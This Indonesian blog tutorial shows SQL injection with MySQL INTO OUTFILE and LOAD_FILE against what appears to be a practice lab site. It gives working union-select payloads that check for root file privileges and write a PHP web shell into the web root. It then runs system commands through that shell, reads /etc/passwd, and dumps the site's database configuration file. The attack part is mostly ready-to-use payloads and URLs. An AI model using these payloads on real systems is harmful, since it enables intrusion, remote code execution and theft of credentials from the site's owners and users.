Tutorial SQL Injection Load File dan Into Outfile

Tutorial SQL Injection Load File dan Into Outfile. Selain untuk melihat isi dari database target, SQL injection bisa dieksplorasi lebih jauh, misalnya untuk melihat file di web server, ataupun untuk menambahkan file di webserver. Ya tentu saja kita harus punya privilege yang cukup.

Saya anggap kalian sudah membaca artikel saya tentang SQL Injection manual. Sehingga disini saya langsung skip ke injeksi setelah menemukan magic number. Anggap disini saya menggunakan nomor ajaib 2.

Step 1 – Memeriksa Hak Akses

Disini kita harus melihat terlebih dahulu user database yang digunakan.

  • 1337′ union select 1,user(),3,4,5#

[email protected]. Bagus, user root. Kita bisa konfirmasi sekali lagi dengan query untuk mengecek file_priv.

  • 1337′ union select 1,group_concat(user,0x3a,file_priv),3,4,5 FROM mysql.user#

Step 2 – Eksekusi Into Outfile

Untuk eksekusi query into outfile, kita harus tau path dimana web target tersebut berada. Kita bisa cek dari error yang ditampilkan.

Terlihat path error nya ada di /usr/share/nginx/evillabs/SQLi/Himameka2019/ .

Query into outfile nya

  • 1337′ union select 1,”<?php var_dump($_GET[‘a’]($_GET[‘b’])); ?>“,3,4,5 into outfile “/usr/share/nginx/evillabs/SQLi/Himameka2019/exp.php” #

Disini file barunya saya beri nama exp.php .

Muncul error? Tidak masalah. Sekarang langsung kita akses path shell nya.

  • https://labs.evil-security.com/SQLi/Himameka2019/exp.php

Eksekusi shell nya

  • https://labs.evil-security.com/SQLi/Himameka2019/exp.php?a=system&b=ls%20-lha

Oke. Kalian berhasil mengupload shell ke web target menggunakan query into outfile. Langkah ini lebih praktis daripada kita harus melakukan cracking password user ataupun susah susah mencari halaman login yang entah ketemu entah tidak.

Step 3 – Eksekusi Load File

Selain untuk menambahkan file ke web target, SQL injection juga bisa digunakan untuk melihat isi dari file yang ada di web target tersebut. Ya tentunya langkah ini tidak diperlukan lagi jika kalian sudah berhasil mengupload shell ke web target. Namun tidak ada salahnya kalian untuk tau.

Memeriksa isi /etc/passwd

  • 1337′ union select 1,load_file(“/etc/passwd“),3,4,5#

Memeriksa file config database.

Pertama, kita periksa file yang menunjukkan pesan error, yang dalam hal ini adalah file index.php.

  • 1337′ union select 1,load_file(“/usr/share/nginx/evillabs/SQLi/Himameka2019/index.php“),3,4,5#

Sekarang kita tau bahwa config database nya ada di file database.php .

  • 1337′ union select 1,load_file(“/usr/share/nginx/evillabs/SQLi/Himameka2019/database.php“),3,4,5#

 

Baiklah mungkin itu saja tutorial kali ini, semoga bermanfaat. Jika ada yang ingin ditanyakan silahkan tinggalkan komentar.

 

Shares

One Response

Leave a Reply